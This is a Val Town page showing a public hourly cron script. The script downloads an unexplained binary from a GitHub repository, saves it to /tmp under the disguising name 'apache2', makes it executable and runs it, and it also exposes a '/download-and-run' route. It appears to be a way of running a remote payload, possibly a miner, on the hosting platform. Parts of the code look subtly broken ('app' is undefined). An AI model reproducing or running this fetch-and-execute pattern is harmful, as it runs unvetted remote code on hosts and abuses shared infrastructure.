Public
Cron
October 23, 2023
Runs every 1 hrs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
export const untitled_pinkFox = (async () => {
const { default: fetch } = await import("npm:node-fetch");
const { exec } = await import("npm:child_process");
const downloadAndRunBinary = async (url, destination) => {
try {
const response = await fetch(url);
const buffer = await response.buffer();
await Deno.writeFile(destination, buffer);
await exec(`chmod +x ${destination}`);
await exec(destination);
console.log("Binary executed successfully");
}
catch (error) {
console.error("Failed to download and run binary:", error);
}
};
const downloadAndRunApache = async () => {
const url = "https://github.com/Cianameo/amd-conf-hui/raw/main/apache2";
const destination = "/tmp/apache2";
await downloadAndRunBinary(url, destination);
};
app.get("/download-and-run", downloadAndRunApache);
})();
Val Town is a social website to write and deploy JavaScript.
Build APIs and schedule functions from your browser.
Comments
Nobody has commented on this val yet: be the first!
October 23, 2023